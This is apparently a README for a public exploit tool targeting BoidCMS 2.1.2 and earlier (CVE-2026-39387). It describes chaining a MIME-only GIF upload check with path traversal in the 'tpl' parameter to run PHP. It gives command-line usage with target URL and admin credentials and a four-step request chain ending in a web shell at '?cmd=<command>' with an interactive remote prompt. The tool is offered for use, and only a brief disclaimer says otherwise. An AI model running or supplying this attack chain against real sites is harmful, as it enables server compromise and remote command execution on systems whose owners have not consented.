xp1tr/cve-2026-39387BoidCMS <= 2.1.2 RCE Exploit
BoidCMS <= 2.1.2 allows an authenticated attacker to achieve Remote Code Execution (RCE) by combining two weaknesses:
image/gif) without validating actual file contents, allowing PHP code embedded in a GIF file to be stored on the server.tpl parameter that is resolved relative to the themes directory without sanitization, enabling path traversal (e.g. ../../media/shell.gif) to point a page's template at the uploaded file.When the crafted page is rendered, the PHP interpreter executes the embedded payload.
| Field | Value |
|---|
| Software | BoidCMS |
| Versions | <= 2.1.2 |
| CVE | CVE-2026-39387 |
python3 CVE-2026-39387.py -u <target_url> -l <username> -p <password>
| Flag | Description | Example |
|---|---|---|
-u, --url | Base URL of the target BoidCMS site | http://target.com |
-l, --user | Admin username | admin |
-p, --passwd | Admin password | password123 |
python3 CVE-2026-39387.py -u http://target.com -l admin -p password123
Once the exploit completes, an interactive shell prompt (cmd >>) is provided for command execution on the remote host.
1. Login → POST /admin (with CSRF token)
2. Upload shell → POST /admin?page=media (shell.gif containing PHP payload)
3. Create page → POST /admin?page=create (tpl=../../media/shell.gif)
4. Execute shell → GET /<permalink>?cmd=<command>
pip install requests
This exploit is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.